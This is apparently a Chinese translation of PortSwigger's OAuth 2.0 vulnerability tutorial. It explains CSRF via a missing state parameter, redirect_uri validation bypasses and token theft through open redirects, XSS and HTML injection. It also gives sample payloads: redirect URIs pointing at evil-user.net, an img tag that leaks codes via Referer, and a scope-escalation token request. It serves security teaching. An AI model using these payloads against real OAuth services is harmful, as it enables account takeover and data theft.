OAuth身份验证漏洞
翻译
原文：https://portswigger.net/web-security/oauth
- name: 翻译
desc: 原文：https://portswigger.net/web-security/oauth
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 0OAuth 2.0身份验证漏洞
在浏览网页时，几乎肯定的，你会遇到允许你使用 社交媒体帐户 来进行登录的网站。此功能很可能是使用流行的 OAuth 2.0 框架构建的。OAuth 2.0 对攻击者来说非常有趣，因为它及其常见，而且容易出现实现上的错误。这可能导致许多漏洞，使攻击者能够获取敏感的用户数据，并可能完全绕过身份验证。
在本节中，我们将教你如何识别和利用 OAuth 2.0 身份验证机制中发现的一些关键漏洞 (opens new window)。如果你不太熟悉 OAuth 身份验证，请不要担心 - 我们提供了大量的背景知识，来帮助你了解所需的关键概念。我们还将探讨 OAuth 在 OpenID Connect 扩展中的一些漏洞 (opens new window)。最后，我们还提供了一些相关指南，讲授如何保护你自己的应用程序 (opens new window)免受此类攻击。
本主题是与 PortSwigger Research 合作撰写的，同期发表的还有论文《隐蔽的 OAuth 攻击媒介》 (opens new window)。
实验室
如果你已经熟悉 OAuth 漏洞背后的基本概念，并且只想在一些实际的、易受攻击的目标上练习和利用它们，那么你可以从下面的链接访问本主题中的所有实验室。
# 1OAuth是什么？
OAuth 是一种常用的授权框架，它使网站和 Web 应用程序能够请求另一个应用程序上的用户帐户，并对其进行有限访问。至关重要的是，OAuth 允许用户在不向源应用程序公开其登录凭证的情况下，授予其访问权限。这意味着，用户可以微调他们想要共享的数据，而不必将其帐户的完全控制权移交给第三方。
基本的 OAuth 流程被广泛用于集成的第三方功能，可用于访问用户帐户中的某些数据。例如，应用程序可能会使用 OAuth 请求来访问你的电子邮件联系人列表，以便它可以向你建议要联系的人员。同时，相同的机制也可以提供第三方身份验证服务，允许用户使用 不同网站上的账户 登录其他网站。
笔记
尽管 OAuth 2.0 是当前的标准，但一些网站仍然在使用旧版的 “1a”。OAuth 2.0 是从零开始编写的，而不是基于 OAuth 1.0 继续开发的。因此，两者是截然不同的。请注意，在以下这些材料中，术语 “OAuth” 单指 OAuth 2.0。
# 2OAuth 2.0是如何工作的？
最初，OAuth 2.0 是作为一种数据访问方式而开发的，用于在应用程序之间 进行特定数据的共享访问。它的工作原理是定义三个不同 “方” 之间的一系列交互，即客户端应用程序、资源所有者和 OAuth 服务提供商。
- 客户端应用程序 - 想要访问用户数据的网站或 Web 应用程序。
- 资源所有者 - 要被客户端应用程序访问其数据的用户。
- OAuth 服务提供商 - 网站或应用程序，控制着用户的数据及其访问。它们提供与授权服务器和资源服务器的交互 API 来支持 OAuth。
实际的 OAuth 流程有许多不同的实现方式。这些方式被称为 OAuth “流” 或 “授权模式”。在本主题中，我们将重点介绍 “授权码” 和 “隐式” 授权模式，因为它们是当下最常见的。一般而言，这两种授权模式都涉及以下阶段：
- 客户端应用程序请求访问用户数据的子集，指定他们想要使用的授权模式 以及 他们想要访问的数据。
- 系统会提示用户登录 OAuth 服务，并让用户明确同意该请求的访问。
- 客户端应用程序收到一个唯一的访问令牌，该令牌证明它们有权访问所请求的用户数据。该过程具体如何发生，因授权模式而异。
- 客户端应用程序使用此访问令牌进行 API 调用，从资源服务器获取相关数据。
在学习如何使用 OAuth 进行身份验证之前，请务必了解这个基本的 OAuth 过程（基础知识）。如果你是 OAuth 的新手，我们建议你在进一步阅读之前，先熟悉一下我们将要介绍的两种授权模式。
# 2.1OAuth身份验证
虽然 OAuth 最初并非用于此目的，但 OAuth 也已发展成为一种对用户进行身份验证的方法。例如，你可能熟悉许多网站都有提供的选项 - 使用你现有的社交媒体帐户登录，而不必在相关网站上注册。每当你看到这个选项时，它很有可能就是基于 OAuth 2.0 构建的。
对于 OAuth 身份验证机制，基本的 OAuth 流程一般保持不变；主要区别在于，客户端应用程序如何使用它接收到的数据。从最终用户的角度来看，OAuth 身份验证的结果与基于 SAML 的单点登录（SSO）非常相似。在这些材料中，我们将专门关注这种类似于 SSO 用例中的漏洞。
OAuth 身份验证的实现方式通常如下：
- 用户选择 “使用其社交媒体帐户登录” 的选项。然后，客户端应用程序使用社交媒体站点的 OAuth 服务来请求访问某些数据，这些数据可用于识别用户身份。例如，这可能是其帐户注册时使用的电子邮件地址。
- 收到访问令牌之后，客户端应用程序会从资源服务器（通常是专用的
/userinfo端点）请求这些数据。 - 收到数据之后，客户端应用程序就会使用这些数据，用来代替用户名以登录账户。从授权服务器处接收的访问令牌，会用来代替传统密码。
你可以在下面的实验室中看到一个简单的示例。在启用 Burp 代理流量时完成 “使用社交媒体登录” 选项，然后研究代理历史记录中的一系列 OAuth 交互。你可以使用凭据wiener:peter进行登录。请注意，以下实现是故意易受攻击的 - 我们稍后将教你如何利用这些缺陷。
- name: 实验室-学徒
desc: 通过 OAuth 隐式流绕过身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 3OAuth身份验证漏洞是如何产生的？
OAuth 身份验证漏洞的出现，部分原因是 OAuth 规范在设计上相对模糊和灵活。尽管每种授权模式的基本功能都需要一些强制性组件，但绝大多数实现都是完全可选的。这包括许多用于 确保用户数据安全 所必需的配置选项。简而言之，有很多机会让不良做法蔓延。
OAuth 的另一个关键问题，普遍缺乏内置的安全功能。其安全性几乎完全依赖于开发人员，期望他们使用正确的配置选项组合，并在其中实施自己的附加安全措施，例如强大的输入验证。正如你可能已经想到的那样，有很多东西需要了解和吸收，如果你对 OAuth 没有经验，这很容易出错。
根据授权模式的不同，三方角色之间还可能通过浏览器发送高度敏感的数据，这为攻击者提供了各种拦截它的机会。
# 4识别OAuth身份验证
识别应用程序何时会使用 OAuth 身份验证相对简单。如果你看到一个选项，可以使用其他网站的帐户进行登录，则强烈表明其正在使用 OAuth。
识别 OAuth 身份验证的最可靠方法是通过 Burp 代理你的流量，并在使用此登录选项时，检查相应的 HTTP 消息。无论使用哪种 OAuth 授权模式，流的第一个请求始终是对/authorization端点的请求，其中包含许多专门用于 OAuth 的查询参数。特别要注意client_id、redirect_uri和response_type参数。例如，授权请求通常看起来像这样：
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
2
# 5侦察
在识别漏洞时，对正在使用的 OAuth 服务进行一些基本的侦察，可以为你指明正确的方向。
毋庸置疑，你应该研究构成 OAuth 流的各种 HTTP 交互 - 我们稍后会介绍一些具体的注意事项。如果目标使用的是第三方 OAuth 服务，则在授权请求的主机名中，你应该能够识别特定的提供商。由于这些服务提供了公共 API，因此通常会为开发者提供详细的文档，这可以告诉你各种有用的信息，例如端点的确切名称 以及 正在使用的配置选项。
知道了授权服务器的主机名之后，你应尝试向以下端点发送GET请求：
/.well-known/oauth-authorization-server/.well-known/openid-configuration
通常，这些端点会返回一个包含关键信息的 JSON 配置文件，例如 可能支持的其他功能及其详细信息。这有时会暴露更多所支持的功能 和 更广泛的攻击面，这些功能可能在文档中没有提到。
# 6利用OAuth身份验证漏洞
不管是客户端应用程序的 OAuth 实现，还是 OAuth 服务本身的配置，都可能出现漏洞。在本节中，我们将向你展示，如何在这两种场景下利用一些最常见的漏洞。
- 客户端应用程序中的漏洞
- OAuth 服务中的漏洞
# 6.1OAuth客户端应用程序中的漏洞
客户端应用程序通常会使用一个信誉良好、久经沙场的 OAuth 服务，该服务可以很好地抵御已知漏洞。但是，客户端自己的实现可能不太安全。
正如我们已经提到的，OAuth 规范的定义相对宽松。对于客户端应用程序的实现来说尤其如此。在 OAuth 流程中有很多活动部件，每种授权模式中都有许多的可选参数和配置选项，这使得配置错误的可能性很大。
# 6.1.1隐式授权模式的不当实现
由于 通过浏览器发送访问令牌 会带来危险，因此，隐式授权模式主要被用于单页应用程序。然而，由于其相对简单，它也经常被用于经典的客户端-服务器 Web 应用程序中。
在此流程中，访问令牌被视为 URL 片段的一部分，并通过用户的浏览器，从 OAuth 服务器发送到客户端应用程序。然后，客户端应用程序使用 JavaScript 来访问该令牌。问题是，在用户关闭页面后，如果应用程序想要维持会话，则需要将当前用户的数据（通常是用户 ID 和访问令牌）存储在某个地方。
为了解决这个问题，客户端应用程序通常会在POST请求中，将这些数据提交到服务器，然后为用户分配一个会话 cookie，从而有效地登录用户账户。此请求大致等同于表单提交请求，该请求可能会作为经典登录方式（基于密码）的一部分发送。但是，在这种情况下，程序服务器没有任何 密钥或密码 可以用来与提交的数据进行比较，这意味着，程序服务器会隐式信任这些登录数据。
在隐式流中，此POST请求通过浏览器暴露给攻击者。因此，如果客户端应用程序没有正确地检查访问令牌，验证令牌是否与请求中的其他数据匹配，则此行为可能会导致严重的漏洞。在这种情况下，攻击者只需简单地更改请求参数，即可模拟任何用户登录。
- name: 实验室-学徒
desc: 通过 OAuth 隐式流绕过身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 6.1.2CSRF 防护缺陷
尽管 OAuth 流的许多组件是可选的，但强烈建议使用其中的一些组件，除非有重要原因不使用它们。一个这样的例子是state参数。
理想情况下，state参数应该包含一个不可猜测的值，例如，当用户首次启动 OAuth 流时，这可能是一个与用户会话相关联的哈希值。然后，该值充当客户端应用程序的 CSRF 令牌，在客户端应用程序和 OAuth 服务之间来回传递。因此，如果你注意到，某个授权请求没有发送state参数，从攻击者的角度来看，这是非常有趣的。这意味着，攻击者可以在用户的浏览器完成 OAuth 流之前，诱骗其自行启动 OAuth 流，类似于传统的 CSRF 攻击 (opens new window)。这可能会产生严重后果，具体影响取决于客户端应用程序如何使用 OAuth。
考虑一个网站，它允许用户使用经典的、基于密码的机制登录，或者通过 OAuth 将其社交媒体配置文件绑定到帐户。在这种情况下，如果应用程序没有使用state参数，则攻击者在该客户端应用程序上，可以将受害用户的帐户绑定到他们自己的社交媒体帐户，从而劫持该帐户。
- name: 实验室-从业者
desc: 强制绑定OAuth配置文件 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
请注意，如果站点仅允许用户通过 OAuth 登录（不支持绑定），则state参数可能并不那么重要。但是，不使用state参数仍存在风险，这可能允许攻击者构造登录式 CSRF 攻击，从而诱骗用户登录到攻击者的帐户。
# 6.2授权码和访问令牌泄露
这也许是最臭名昭著的 OAuth 的漏洞——因 OAuth 服务本身的配置，使攻击者能够窃取与其他用户帐户相关联的授权码或访问令牌。通过窃取有效的代码或令牌，攻击者能够访问受害者的数据。最终，这可能会完全危及他们的帐户 - 攻击者可能会以受害用户的身份登录到使用了此 OAuth 服务的任何客户端应用程序上。
根据授权模式，代码或令牌会通过受害者的浏览器发送到授权请求redirect_uri参数中指定的/callback端点。如果 OAuth 服务未能正确验证此 URI，攻击者可以构建类似 CSRF 的攻击，诱骗受害者的浏览器启动 OAuth 流，将代码或令牌发送到攻击者控制的redirect_uri。
在授权码流的情况下，攻击者可能会在受害者的代码被使用之前，先一步窃取受害者的代码。然后，他们可以将此代码发送到客户端应用程序的合法/callback端点（原始redirect_uri），以获取对用户帐户的访问权限。在这种情况下，攻击者甚至不需要知道客户端密码 或 访问令牌。只要受害者与 OAuth 服务之间仍存在有效会话，客户端应用程序就会代表攻击者完成代码 / 令牌交换，然后再将其登录到受害者的帐户。
请注意，就算使用state或nonce防护，也不一定能阻止这些攻击，因为攻击者可以从自己的浏览器生成新值。
- name: 实验室-从业者
desc: 通过redirect_uri劫持OAuth帐户 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
一种更安全的授权服务器做法，在交换代码时再次发送redirect_uri参数。随后，服务器可以检查该参数是否与 初始授权请求 中收到的值相匹配，如果不匹配，则拒绝交换。值得一提的是，这种交换发生在 安全反向通道 的服务器到服务器请求中，因此攻击者无法控制第二个redirect_uri参数。
# 6.2.1redirect_uri验证缺陷
按照上一实验中看到的攻击类型，客户端应用程序在向 OAuth 服务注册时，最佳做法是提供其真实回调 URI 的白名单。这样，当 OAuth 服务收到新请求时，它可以根据这个白名单验证redirect_uri参数。在这种情况下，提供外部 URI 可能会导致错误。但是，这种验证仍有可能被绕过。
在审核 OAuth 流时，你应该测试redirect_uri参数，了解其验证方式。例如：
- 某些实现缺陷，只检查字符串是否以正确的字符序列（即批准的域）开头，然后允许一系列子目录。你应该尝试删除或添加任意路径、查询参数和片段，以测试在不触发错误的情况下，可以更改哪些内容。
-
如果可以向默认的
redirect_uri参数中追加额外的值，则可以利用 OAuth 服务的不同组件之间在解析 URI 时的差异。例如，你可以尝试以下技术：https: &@foo.evil-user.net#@bar.evil-user.net/1如果你不熟悉这些技术，我们建议你阅读关于规避常见的 SSRF 防御 (opens new window)和 CORS (opens new window) 的内容。
-
你可能偶尔会遇到服务端参数污染漏洞。为了以防万一，你可以尝试重复提交
redirect_uri参数，如下所示：https:/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net1 -
一些服务器还会对
localhostURI 进行特殊处理，因为该值在开发过程中经常使用。在某些生产环境中，任何以localhost开头的重定向 URI 可能会被意外允许。这可以注册像localhost.evil-user.net这样的域名来绕过验证。
需要注意的是，不要将测试局限在redirect_uri参数上。在实际应用中，你经常需要对多个参数进行更改，以测试不同的参数组合。有时，更改一个参数可能会影响其他参数的验证。例如，有时候将response_mode从query更改为fragment，可以完全改变redirect_uri的解析方式，从而允许你提交原本会被阻止的 URI。同样，如果你注意到目标支持web_message响应模式，这通常会在redirect_uri中允许更大范围的子域。
# 6.2.2通过代理页面窃取授权码和访问令牌
对于更健壮的目标，你可能会发现，无论你如何尝试，都无法在redirect_uri中提交外部域。然而，这并不意味着放弃。
到了这个阶段，你应该对 “URI 的哪些部分可以被篡改” 有比较好的了解。现在的关键是，如何利用这些已知点，来访问客户端应用程序本身中更广泛的攻击面。换言之，尝试是否可以更改redirect_uri参数，使其指向白名单域中的任何其他页面。
尝试发现 “可以访问不同子域或路径” 的方法。例如，默认 URI 通常位于 OAuth 的特定路径上，例如/oauth/callback，该路径不太可能包含任何有趣的子目录。但是，你可以使用目录遍历技巧，来提供域上的任意路径。大概是像这样：
https:/oauth/callback/../../example/path
这在后端可以被解析为：
https:/example/path
确定哪些其他页面可以设置为重定向 URI 之后，应审查它们是否存在可用于泄露代码或令牌的其他漏洞。对于授权码流 (opens new window)，你需要找到一个 允许你访问查询参数 的漏洞，而对于隐式授权模式 (opens new window)，你需要提取 URL 片段。
基于此目的，最有用的漏洞之一是开放重定向。你可以将其用作代理，将受害者及其代码或令牌 转发到攻击者控制的域，你可以在域上托管你喜欢的任何恶意脚本。
请注意，对于隐式授权模式，由于整个隐式流都是通过浏览器进行的，因此，窃取访问令牌不仅能够登录受害者的帐户，还可以使用该令牌在 OAuth 服务的资源服务器上进行自己的 API 调用。这使你能够获取通常无法从 Web UI 访问的敏感用户数据。
- name: 实验室-从业者
desc: 通过开放重定向窃取OAuth访问令牌 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
除了开放重定向之外，你还应该查找任何其他漏洞，这些漏洞可用于提取代码或令牌，并将其发送到外部域。一些很好的例子包括：
- 处理查询参数和 URL 片段的危险 JavaScript。例如 “传递不安全 Web 消息的脚本” 可以很好地实现这一点。在某些情况下，你可能需要确定一个更长的小工具链，该链允许你通过一系列脚本传递令牌，最终将其泄露到外部域。
- XSS (opens new window) 漏洞。XSS 攻击本身可能会产生巨大影响，在用户关闭选项卡或离开导航之前，通常会有一个很短的时间区间，使攻击者可以访问用户的会话。但由于会话 Cookie 通常会施加
HTTPOnly属性，因此大部分时候，攻击者也无法通过 XSS 来直接访问这些会话。然而，如果改为窃取 OAuth 代码或令牌，攻击者可以在自己的浏览器中访问用户帐户。这使得他们有更多的时间来探索用户数据，并执行有害操作，从而大大增加了 XSS 漏洞的严重性。 - HTML 注入漏洞。在无法注入 JavaScript 的情况下（例如，由于 CSP 约束或过滤严格），你仍然可以使用简单的 HTML 注入来窃取授权码。如果你可以将
redirect_uri参数指向一个可以注入 HTML 内容的页面，则可以通过Referer标头来泄露代码。例如，请考虑这个img元素：<img src="evil-user.net">。当网页尝试加载此图像时，某些浏览器（例如 Firefox）会在请求的Referer标头中发送完整的 URL，包括查询字符串。
- name: 实验室-专家
desc: 通过代理页面窃取OAuth访问令牌 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 6.3作用域验证缺陷
在任何 OAuth 流中，用户必须根据授权请求中定义的范围，来批准该请求的访问。生成的令牌仅允许客户端应用程序访问被批准的范围。但在某些情况下，由于 OAuth 服务的验证存在缺陷，攻击者可能会获得经过 “权限提升” 的额外令牌（被盗或通过恶意客户端应用程序获得）。执行此操作的过程取决于授权模式。
# 6.3.1作用域提升: 授权码流
使用授权码模式 (opens new window)时，用户的数据是通过安全的 “服务器到服务器通信” 来请求和发送的，第三方攻击者通常无法直接操纵该通信过程。但是，如果攻击者向 OAuth 服务注册自己的客户端应用程序，仍然可以实现相同的效果。
例如，假设攻击者的恶意客户端应用程序最初使用openid email作用域，来请求访问用户的电子邮件地址。用户批准此请求之后，恶意客户端应用程序将会收到一个授权代码。接着，在随后的授权代码 / 令牌交换请求中，攻击者可以包含这个已获得的授权代码，并在scope中附加一个新的作用域profile：
POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile
2
3
4
如果服务器没有根据 初始授权请求 中的作用域进行验证，则有可能会根据这个新的作用域，生成一个不同的访问令牌，并将其回送给攻击者的恶意客户端应用程序：
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile",
…
}
2
3
4
5
6
7
然后，攻击者可以使用他自己的应用程序，来进行必要的 API 调用，以访问用户的配置文件数据。
# 6.3.2作用域提升: 隐式流
对于隐式授权模式 (opens new window)，访问令牌会通过浏览器发送，这对于那些 与无辜客户端应用程序相关联的令牌，攻击者可以窃取并直接使用这些令牌。一旦他们窃取了访问令牌，他们就可以基于浏览器来向 OAuth 服务的/userinfo端点发送普通请求，并在此过程中手动添加新的scope参数。
理想情况下，OAuth 服务应该根据生成令牌时的初始作用域，来验证这个scope值，但情况并非总是如此。只要调整之后的权限 不超过 此前授予的访问级别，攻击者就有可能访问其他数据，而无需用户的进一步批准。
# 6.4未经验证的用户注册
通过 OAuth 对用户进行身份验证时，客户端应用程序会隐式假设 OAuth 服务提供商所存储的信息是正确的。这可能是一个危险的假设。
一些提供 OAuth 服务的网站，允许用户在 不验证其所有详细信息 的情况下注册一个帐户，在某些情况下，这包括他们的电子邮件地址。攻击者可以获取目标用户的详细信息（例如已知的电子邮件地址），然后向 OAuth 提供商请求注册帐户。随后，由于客户端应用程序隐式信任 OAuth 提供商，因此会允许攻击者使用欺诈性帐户 并 以受害者身份登录。
# 7使用OpenID Connect扩展OAuth
当用于身份验证时，OAuth 通常会使用 OpenID Connect 层进行扩展，该层提供了一些附加功能，可用于识别和验证用户。有关该功能的详细介绍、可能引入的漏洞和更多的实验室，请参阅我们的 OpenID Connect 主题。
# 8防范OAuth身份验证漏洞
对于开发人员、或是你自己的网站和应用程序，我们提供了一些指导，说明如何规避这些漏洞。